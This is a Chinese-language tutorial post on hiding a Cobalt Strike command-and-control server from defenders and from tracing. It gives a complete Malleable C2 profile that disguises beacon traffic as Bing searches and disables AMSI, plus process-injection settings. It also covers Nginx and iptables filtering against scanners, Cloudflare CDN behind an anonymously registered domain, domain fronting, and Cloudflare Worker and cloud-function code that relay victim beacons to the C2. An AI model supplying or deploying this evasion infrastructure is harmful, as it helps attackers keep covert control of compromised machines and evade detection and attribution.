在暗影中潜行-CS服务器隐匿(一) 前言 Cobalt Strike是一款渗透测试神器,常被业界人称为CS(项目官网:https://www.cobaltstrike.com )。这个工具大火,成为了渗透测试中不可缺少的利器。其拥有多种协议主机上线方式,集成了提权,凭据导出,端口转发,socket代理,office攻击,文件捆绑,钓鱼等功能。同时,Cobalt Strike还可以调用Mimikatz等其他知名工具,因此广受黑客喜爱。
但是现在Cobalt Strike的默认特征已经被各大厂商标记,很容易就会被安全设备发现ban掉IP。如果密码简单的话,甚至可以通过爆破密码来进行反制。
暴力破解CobaltStrike的teamserver密码脚本项目地址:
https://github.com/shanfenglan/bruteforce_cs_pwd
为了防止被别人轻易溯源到我们,我们就需要修改Cobalt Strike的特征并隐藏服务器地址(本文版本为Cobalt Strike 4.2)。
修改Cobalt Strike特征 修改teamserver默认端口 编辑文件teamserver,进行修改;
其位于文件的最后一段,将-Dcobaltstrike.server_port=改为自己想设置的端口,我这里设置为43961。
也可以通过启动时指定服务端口来修改端口
修改CobaltStrike证书 CobaltStrike的默认证书有三个:
·cobaltstrike.store证书:用于服务端和客户端加密通讯
·proxy.store证书:用于浏览器代理也就是browserpivot功能
·ssl.store证书:如果你没有配置https-certificate选项,并且使用的是https监听器那么CobaltStrike默认就会使用这个证书
其中cobaltstrike.store证书和ssl.store证书比较敏感,特征也早已被各大厂商标记,建议自己生成替代不要使用其默认证书。我们可以使用keytool来管理或生成证书。keytool 是一个Java数据证书的管理工具 ,keytool 将密钥(key)和证书(certificates)存在一个称为keystore的文件中(即.store后缀文件)
在keystore里,包含两种数据: ·密钥实体(Key entity)——密钥(secret key)又或者是私钥和配对公钥(采用非对称加密) ·可信任的证书实体(trusted certificate entries)——只包含公钥
使用keytool查看默认证书(密钥库密码默认为123456)。
1 keytool -list -v -keystore 证书名.store
使用Keytool来生成证书
1 2 3 keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias 别名 -dname "CN=(名字与姓氏), OU=(组织单位名称), O=(组织名称), L=(城市或区域名称), ST=(州或省份名称), C=(单位的两字母国家代码)" -例如: keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias zbc.com -dname "CN=ZhongGuo, OU=WuHu, O=wuhuqifei, L=BeiJing, S=ChaoYang, C=CN"
绕过CS信标扫描器CobaltStrikeScan CobaltStrikeScan用于扫描具有Cobalt Strike 信标的文件或进程内存并解析其配置。
CobaltStrikeScan项目地址:https://github.com/Apr4h/CobaltStrikeScan
未经过处理的Cobalt Strike进程会被扫描器扫描出:
可以通过在C2配置文件中将cleanup选项打开(set cleanup “ture”;)来绕过;
例如:
对此配置文件下的Cobalt Strike进程进行扫描,扫描器就扫不出来了。
设置Malleable-C2-Profiles配置文件 目前大部分流量审计软件都能识别检测出Cobalt Strike的默认通信流量,为应对其检测Cobalt Strike开发团队设置了Malleable-C2-Profiles配置文件,让用户自定义设置客户端和服务端双向通信的流量格式以及软件的配置,以此来绕过流量审计,让通讯更加隐蔽还可以控制Beacon的一些默认行为。
Cobalt Strike官网的Malleable-C2-Profiles配置文件编写指南https://www.cobaltstrike.com/help-malleable-c2
服务端加载Malleable-C2-Profiles命令
1 ./teamserver [IP] [密码] [/路径/配置文件.profile]
可以从GitHub上Git别人写好的Malleable-C2-Profiles配置文件来使用
例如:
https://github.com/xx0hcd/Malleable-C2-Profiles/tree/master/normal https://github.com/threatexpress/malleable-c2
但是最好还是自己去改写Malleable-C2-Profile配置文件,例如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 # author:Energetic Bear / Crouching Yeti / Dragonfly / ExterminateDog # file: C2test.profile # last time: 2021/09/24 13:26 #替代默认ssl.store证书,自签ssl证书 https-certificate { # 使用真实有效的SSL证书则只需用keystore和password # set keystore "密钥库文件"; # set password "密码库文件密码" set CN "www.bing.com"; set O "Microsoft Corporation"; set C "US"; set L "Redmond"; set OU "Microsoft IT"; set ST "WA"; set validity "365"; } # 表明这是默认的 Beacon 配置文件 set sample_name "ExterminateDog"; # 设置睡眠时间为 60000 (默认为 60 秒) set sleeptime "30000"; # 默认回连的抖动因子 0-99% [随机化回调时间] set jitter "0"; set dns_idle "8.8.8.8"; # 在 DNS A 记录请求中发送的最大字节数,可以使 DNS Beacon 发送数据看起来比较正常 set maxdns "235"; # 设置每次发送请求的用户代理UA set useragent "Mozilla/5.0 (Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"; set pipename "mypipe-f##"; set pipename_stager "mypipe-h##"; # 控制Beacon DLL如何加载到内存中并编辑Beacon DLL的内容 stage { # 要求 Beacon 尝试释放与初始化它的反射 DLL 包关联的内存 set cleanup "true"; set checksum "0"; set entry_point "134733"; set image_size_x86 "512000"; set image_size_x64 "512000"; set name "Gtmdusa.dll"; set rich_header "/x63/x02/x25/x0f/x27/x63/x4b/x5c/x27/x63/x4b/x5c/x27/x63/x4b/x5c/x9a/x2c/xdd/x5c/x24/x63/x4b/x5c/x2e/x1b/xde/x5c/x3b/x63/x4b/x5c/x2e/x1b/xcf/x5c/x1b/x63/x4b/x5c/x2e/x1b/xc8/x5c/x8f/x63/x4b/x5c/x00/xa5/x30/x5c/x28/x63/x4b/x5c/x27/x63/x4a/x5c/x97/x63/x4b/x5c/x2e/x1b/xc1/x5c/x60/x63/x4b/x5c/x2e/x1b/xd9/x5c/x26/x63/x4b/x5c/x39/x31/xdf/x5c/x26/x63/x4b/x5c/x2e/x1b/xda/x5c/x26/x63/x4b/x5c/x52/x69/x63/x68/x27/x63/x4b/x5c/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00/x00"; # 内存中轻微混淆Beacon DLL set stomppe "false"; # make these things havex-ish transform-x86 { strrep "ReflectiveLoader" "RunDllEntry"; strrep "sos.dll" ""; } transform-x64 { strrep "ReflectiveLoader" "RunDllEntry"; strrep "sos.x64.dll" ""; } # strings gathered from Yara rules and sandbox string dumps stringw "%s <%s> (Type=%i, Access=%i, ID='%s')"; stringw "%02i was terminated by ThreadManager(2)/n"; stringw "main sort initialise ..../../../../img/n"; stringw "qsort [0x%x, 0x%x] done %d this %d/n"; stringw "{0x%08x, 0x%08x}"; stringw "Programm was started at %02i:%02i:%02i/n"; stringw "a+"; stringw "%02i:%02i:%02i.%04i:"; stringw "**************************************************************************/n"; stringw "Start finging of LAN hosts..../../../../img/n"; stringw "Finding was fault. Unexpective error/n"; stringw "Hosts was't found../../../../img/n"; stringw "/t/t/t/t/t%O2i) [%s]/n"; stringw "Start finging of OPC Servers..."; stringw "Was found %i OPC Servers."; stringw "/t/t%i) [%s//%s]/n/t/t/tCLSID: %s/n"; stringw "/t/t/tUserType: %s/n/t/t/tVerIndProgID: %s/n"; stringw "OPC Servers not found. Programm finished"; stringw "Start finging of OPC Tags..."; stringw "[-]Threads number > Hosts number"; stringw "[-]Can not get local ip"; stringw "[!]Start"; stringw "[+]Get WSADATA"; stringw "[+]Local:"; stringw "[-]Connection error"; stringw "Was found %i hosts in LAN:"; stringw "%s[%s]!!!EXEPTION %i!!!"; stringw "final combined CRC = 0x%08x"; } # 为HTTP GET定义指标,仅对通信过程中的GET请求有效 http-get { # Beacon将从这个URI池中随机选择一个作为通信时使用的URL(如果提供了多个URI) set uri "/search/"; # 客户端响应规则 client { #使用header设置http响应头字段 header "Host" "www.bing.com"; header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; header "Cookie" "MUID=20798CDBA7526BE709939C67A67C6ABD; _EDGE_S=F=1&SID=0D72DD12F8986C1D3C96CDAEF9B66D85; _EDGE_V=1; SRCHD=AF=NOFORM; SRCHUID=V=2&GUID=4E021D8EBD484402BBD21AE8C3DB5A41&dmnchg=1;"; # base64 编码会话元数据并将其存储在Cookie标头中 metadata { base64url; # 将数据存储在指定的URL参数q中 parameter "q"; } parameter "go" "Search"; parameter "qs" "bs"; parameter "form" "QBRE"; } # 服务端响应规则 server { # 服务端应该发送没有更改的输出 header "Server" "Microsoft-IIS/8.5"; header "Cache-Control" "private, max-age=0"; header "Content-Type" "text/html; charset=utf-8"; header "Keep-Alive" "timeout=3, max=100"; header "Connection" "close"; header "Vary" "Accept-Encoding"; # 通过output代码块设置返回数据的编码规则 output { base64; prepend "<!DOCTYPE html><html lang=/"en/" xml:lang=/"en/" xmlns=/"http://www.w3.org/1999/xhtml/" xmlns:Web=/"http://schemas.live.com/Web//"><script type=/"text/javascript/">//<![CDATA[si_ST=new Date;//]]></script><head><!--pc--><title>Bing</title><meta content=/"text/html; charset=utf-8/" http-equiv=/"content-type/" /><link href=/"/search?format=rss&q=canary&go=Search&qs=bs&form=QBRE/" rel=/"alternate/" title=/"XML/" type=/"text/xml/" /><link href=/"/search?format=rss&q=canary&go=Search&qs=bs&form=QBRE/" rel=/"alternate/" title=/"RSS/" type=/"application/rss+xml/" /><link href=/"/sa/simg/bing_p_rr_teal_min.ico/" rel=/"shortcut icon/" /><script type=/"text/javascript/">//<![CDATA["; append "G={ST:(si_ST?si_ST:new Date),Mkt:/"en-US/",RTL:false,Ver:/"53/",IG:/"4C1158CCBAFC4896AD78ED0FF0F4A1B2/",EventID:/"E37FA2E804B54C71B3E275E9589590F8/",MN:/"SERP/",V:/"web/",P:/"SERP/",DA:/"CO4/",SUIH:/"OBJhNcrOC72Z3mr21coFQw/",gpUrl:/"/fd/ls/GLinkPing.aspx?/" }; _G.lsUrl=/"/fd/ls/l?IG=/"+_G.IG ;curUrl=/"http://www.bing.com/search/";function si_T(a){ if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+/"IG=/"+_G.IG+/"&/"+a;}return true;};//]]></script><style type=/"text/css/">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,"; # output代码块需要一个关键字来表示编码规则终止,使用print表示直接输出放到body中 print; } } } # 为HTTP POST定义指标,仅对通信过程中的POST请求有效 http-post { # 同上,Beacon会从这个URI池中随机选择一个作为通信时使用的URL(如果提供了多个URI) set uri "/Search/"; client { header "Host" "www.bing.com"; header "Accept" "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"; header "Cookie" "MUID=20798CDBA7526BE709939C67A67C6ABD; _EDGE_S=F=1&SID=0D72DD12F8986C1D3C96CDAEF9B66D85; _EDGE_V=1; SRCHD=AF=NOFORM; SRCHUID=V=2&GUID=4E021D8EBD484402BBD21AE8C3DB5A41&dmnchg=1;"; # 将我们的会话标识符传输为 /search?q=[identifier] # 任务id由此代码块控制 id { base64url; parameter "form"; } parameter "go" "Search"; parameter "qs" "bs"; # 在没有实际更改的情况下POST我们的输出 output { # 变异Base64编码 base64url; # 将数据存储在指定的URL参数q中 parameter "q"; } } # 服务端对 HTTP POST 的响应 server { header "Cache-Control" "no-cache"; header "Keep-Alive" "timeout=3, max=100"; header "Cache-Control" "private, max-age=0"; header "Content-Type" "text/html; charset=utf-8"; header "Vary" "Accept-Encoding"; header "Server" "Microsoft-IIS/8.5"; header "Connection" "close"; output { netbios; base64; prepend "<!DOCTYPE html><html lang=/"en/" xml:lang=/"en/" xmlns=/"http://www.w3.org/1999/xhtml/" xmlns:Web=/"http://schemas.live.com/Web//"><script type=/"text/javascript/">//<![CDATA[si_ST=new Date;//]]></script><head><!--pc--><title>Bing</title><meta content=/"text/html; charset=utf-8/" http-equiv=/"content-type/" /><link href=/"/search?format=rss&q=canary&go=Search&qs=bs&form=QBRE/" rel=/"alternate/" title=/"XML/" type=/"text/xml/" /><link href=/"/search?format=rss&q=canary&go=Search&qs=bs&form=QBRE/" rel=/"alternate/" title=/"RSS/" type=/"application/rss+xml/" /><link href=/"/sa/simg/bing_p_rr_teal_min.ico/" rel=/"shortcut icon/" /><script type=/"text/javascript/">//<![CDATA["; append "G={ST:(si_ST?si_ST:new Date),Mkt:/"en-US/",RTL:false,Ver:/"53/",IG:/"4C1158CCBAFC4896AD78ED0FF0F4A1B2/",EventID:/"E37FA2E804B54C71B3E275E9589590F8/",MN:/"SERP/",V:/"web/",P:/"SERP/",DA:/"CO4/",SUIH:/"OBJhNcrOC72Z3mr21coFQw/",gpUrl:/"/fd/ls/GLinkPing.aspx?/" }; _G.lsUrl=/"/fd/ls/l?IG=/"+_G.IG ;curUrl=/"http://www.bing.com/search/";function si_T(a){ if(document.images){_G.GPImg=new Image;_G.GPImg.src=_G.gpUrl+/"IG=/"+_G.IG+/"&/"+a;}return true;};//]]></script><style type=/"text/css/">.sw_ddbk:after,.sw_ddw:after,.sw_ddgn:after,.sw_poi:after,.sw_poia:after,.sw_play:after,.sw_playa:after,.sw_playd:after,.sw_playp:after,.sw_st:after,.sw_sth:after,.sw_ste:after,.sw_st2:after,.sw_plus:after,.sw_tpcg:after,.sw_tpcw:after,.sw_tpcbk:after,.sw_arwh:after,.sb_pagN:after,.sb_pagP:after,.sw_up:after,.sw_down:after,.b_expandToggle:after,.sw_calc:after,.sw_fbi:after,"; print; } } } # 此代码块用来控制stage(Beacon核心代码)发送过程 http-stager { set uri_x86 "/rpc"; set uri_x64 "/Rpc"; client { header "Accept" "*/*"; } server { header "Cache-Control" "private, max-age=0"; header "Content-Type" "text/html; charset=utf-8"; header "Vary" "Accept-Encoding"; header "Server" "Microsoft-IIS/8.5"; header "Connection" "close"; } } # 此代码块可对进程注入相关的内容进行配置,控制注入相关的行为 process-inject { # CreateRemoteThread; # 在远程进程中分配内存的首选方法 set allocator "NtMapViewOfSection"; # 请求注入内容的最小内容量 set min_alloc "16700"; # 使用RWX作为注入内容的最终权限 替代方案是RX set userwx "false"; # 使用RWX作为注入内容的初始权限 替代方案是RW set startrwx "true"; # 向Beacon注入的内容里添加东西 transform-x86 { # prepend "/x90/x90/x90"; } transform-x64 { # prepend "/x90/x90/x90"; } # 此代码块控制Beacon在进程注入时要使用的方法 execute { #CreateThread; #CreateRemoteThread; CreateThread "ntdll.dll!RtlUserThreadStart+0x1000"; SetThreadContext; NtQueueApcThread-s; #NtQueueApcThread; CreateRemoteThread "kernel32.dll!LoadLibraryA+0x1000"; RtlCreateUserThread; } } # 此代码块控制了Cobalt Strike的后渗透任务的具体内容和行为。 post-ex { # 控制后渗透功能生成的临时进程 set spawnto_x86 "%windir%//syswow64//gpupdate.exe"; set spawnto_x64 "%windir%//sysnative//gpupdate.exe"; # 混淆post-ex DLL内容 set obfuscate "true"; # 指示Beacon将关键函数指针(如GetProcAddress和LoadLibrary)嵌入到同架构的post-ex DLL中 set smartinject "true"; # 选项指示powerpick、execute-assembly和psinject在加载.NET或PowerShell代码之前- # -对AmsiScanBuffer函数进行修补。(限制反恶意软件扫描接口) set amsi_disable "true"; # 允许多线程的post-ex DLL使用线程地址欺骗 set thread_hint "ntdll.dll!RtlUserThreadStart+0x1000"; # 更改通信时使用的命名管道的名字 set pipename "DserNamePipe##, PGMessagePipe##, MsFteWds##"; # Cobalt Strike的键盘记录器使用的函数 set keylogger "SetWindowsHookEx"; }
改写完的配置文件,可以通过CS自带c2lint来测试配置文件是否存在错误
Nginx反向代理 如果在Cobalt Strike的Malleable-C2-Profiles配置文件中没有自定义http-stager的uri。一般可以通过访问默认的uri就能获取到cs的shellcode。加密shellcode的密钥又是固定的(3.x 版本为0x69,4.x版本为 0x2e),所以能从shellcode中解出c2域名等配置信息。
利用Nmap和grab_beacon_config扫描出的监听器信息。
为了隐藏这个特征有两种方法:一种是修改源码加密的密钥;一种是限制端口的访问来防止扫描器的扫描,这里我们使用第二种方法通过Nginx反向代理来限制端口的访问。
配置Nginx配置文件,设置仅允许指定的请求头来访问监听端口。需要根据profile配置文件中的设置来进行配置。
例如:
1 2 3 4 5 6 7 location ~*/Search { if ( $http_user_agent != "Mozilla/5.0 (Mozilla/5.0 (compatible, MSIE 11, Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko") { return 404; } proxy_pass http://127.0.0.1:9527; }
保存后Nginx重新加载配置或重启
设置防火墙,仅允许127.0.0.1访问9527端口
1 2 iptables -A INPUT -s 127.0.0.1 -p tcp --dport 9527 -j ACCEPT iptables -A INPUT -p tcp --dport 9527 -j DROP
设置监听(其中https port(bind)设置为反代的IP),生成程序并执行
上线成功,但是外部IP显示的是127.0.0.1,需要修改配置文件来获取其真实IP
在Nginx配置文件中设置源IP获取
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
在profile配置文件中设置真实IP获取
1 set trust_x_forwarded_for "true";
外部IP显示正常
命令执行正常
隐藏Cobalt Strike服务器 利用CDN加速隐藏服务器 CDN,即内容分发网络也称内容传送网络。通过CDN加速,来实现对外暴露的是CDN多节点的公网域名IP,很难溯源真实后端服务器域名或IP。
以使用免费CDN-Cloudflare为例:https://www.cloudflare.com/zh-cn/
首先绑定CDN,注册账号后登陆,添加欲与CS服务器绑定的域名(可在https://my.freenom.com/使用匿名邮箱,匿名注册域名)
选择使用免费计划
将CS服务器IP地址添加至记录,以进行CDN代理
自动配置选项全部选择关闭
至此,CDN配置全部完成。
接下来就要配置HTTPS证书,进入CloudFlare的SSL/TLS里的源服务器栏,生成免费的TLS证书
将上面的原证书和私钥保存到服务器上,并使用OpenSSL和keytool生成store证书
1 2 3 4 5 6 7 openssl pkcs12 -export -in 保存的源证书.pem -inkey 保存的私钥.key -out 输出的p12文件名(自定义).p12 -name 设置别名 -passout pass:设置密码 keytool -importkeystore -deststorepass 设置密码 -destkeypass 设置密码 -destkeystore 设置证书文件名.store -srckeystore 上面自定义的p12文件.p12 -srcstoretype PKCS12 -srcstorepass 上面设置的密码 -alias 设置别名 例如: openssl pkcs12 -export -in 1.pem -inkey 1.key -out 1.p12 -name e******dog.top -passout pass:123.com keytool -importkeystore -deststorepass 123.com -destkeypass 123.com -destkeystore 1.store -srckeystore 1.p12 -srcstoretype PKCS12 -srcstorepass 123.com -alias e******dog.top
修改Malleable-C2-Profiles配置文件,加入keystore证书,例如:
1 2 3 4 https-certificate { set keystore "1.store"; set password "123.com"; }
设置CS监听尝试能否成功上线
注意:
如果CS的服务器是国内服务器且没有进行备案的话,是无法使用80、8080、443、8443端口提供服务的;如果服务器是国外服务器的话则无影响。Cloudflare的代理模式只有部分端口能够使用,使用时要注意端口的设置,否则是监听不到的。
Cloudflare 支持的 HTTP 端口:80、8080、8880、2052、2082、2086、2095
Cloudflare 支持的 HTTPS 端口:443、2053、2083、2087、2096、8443
生成exe文件,并执行上线
查看受害主机回接CS服务器的IP地址为172.67.204.85,为CDN节点的IP地址
域前置 其在CDN加速隐藏CS服务器真实IP的基础上,进一步隐藏了CS服务器的真实域名。通过设置HOST来修改Host头,让受害主机通过高信誉域名回接CS服务器时CDN连接真实的CS服务器,而不是连接高信誉域名的服务器。
要想实现域前置,首先要得到高信誉域名,可以通过微步等平台查询自己使用的CDN上有哪些域名在此解析。
在这里我们以z****.com为例,先确定下是否能正常使用
配置CS Listener,将高信誉域名填入HTTPS Hosts和HTTPS Host(Stager)中,将CS服务器域名填入HTTPS Host Header中
生成bbbbb.exe文件,并上线
成功上线,利用Wireshark抓包
DNS请求的是z****.com域名
配置Cloudflare Worker 在未找到能够使用域前置技术的CDN时,也可以使用Cloudflare Worker来替代,他能自定义子域,执行无服务器函数,免费额度为10W请求/天。
创建Worker
编写JS处理并转发请求至我们的CS服务器
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 let upstream = 'https://CS服务器域名' addEventListener('fetch', event => { event.respondWith(fetchAndApply(event.request)); }) async function fetchAndApply(request) { const ipAddress = request.headers.get('cf-connecting-ip') || ''; let requestURL = new URL(request.url); let upstreamURL = new URL(upstream); requestURL.protocol = upstreamURL.protocol; requestURL.host = upstreamURL.host; requestURL.pathname = upstreamURL.pathname + requestURL.pathname; let new_request_headers = new Headers(request.headers); new_request_headers.set("X-Forwarded-For", ipAddress); let fetchedResponse = await fetch( new Request(requestURL, { method: request.method, headers: new_request_headers, body: request.body }) ); let modifiedResponseHeaders = new Headers(fetchedResponse.headers); modifiedResponseHeaders.delete('set-cookie'); return new Response( fetchedResponse.body,{ headers: modifiedResponseHeaders, status: fetchedResponse.status, statusText: fetchedResponse.statusText } ); }
设置CS监听器
执行上线
通过Wireshark抓包,查看流量,目的地址为Cloudflare Worker的地址
云函数转发 此方法的原理是:受害主机发出的流量通过云函数转发至C2服务器,在受害主机上显示连接的地址是云函数的地址,以此来达到隐藏C2服务器的目的。
在某云的云函数服务处新建云函数(初次访问需要服务授权)
开始创建云函数,选择自定义创建,函数名称自定义,运行环境的语言选择自己想使用的开发语言,然后点击完成
创建完成后在函数管理中,编辑函数,使其转发请求至C2服务器
例如:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 # -*- coding: utf8 -*- import json,requests,base64 def main_handler(event, context): C2='https://CS服务器的IP或域名(注意:如果域名有CDN加速的话,会导致无法找到服务器)' path=event['path'] headers=event['headers'] print(event) if event['httpMethod'] == 'GET' : resp=requests.get(C2+path,headers=headers,verify=False) else: resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False) print(resp.headers) print(resp.content) response={ "isBase64Encoded": True, "statusCode": resp.status_code, "headers": dict(resp.headers), "body": str(base64.b64encode(resp.content))[2:-1] } return response
完成后,部署函数,然后来到 触发管理 来创建触发器
创建触发器中,触发方式选择API网关触发,这样就可以通过公网访问这个函数(初次使用需要授予权限),其他的按照下图设置
赋予权限后,就会收到资源包开通成功的通知,免费1GB流量、100W次调用次数。提交后通过点击API服务名来进入刚才创建的API的管理界面
进入编辑
将路径改为 / ,然后直接点击立即完成-发布服务
下图红线圈的内容就是这个云函数的公网访问地址
做到这里云函数的配置基本完成,但是此时尝试上线,大概率会无法上线。这是因为C2在运行后会下载配置文件,云函数下载配置文件时如果执行超时时间是默认配置的就会导致超时,从而无法正常执行。需要通过函数管理的函数配置来修改执行超时时间,将时间改的长一些。
设置CS监听,这里的监听地址填写为上面的公网访问地址
执行上线,命令正常执行
通过Wireshark抓包,查看流量,目的地址为某云云函数的地址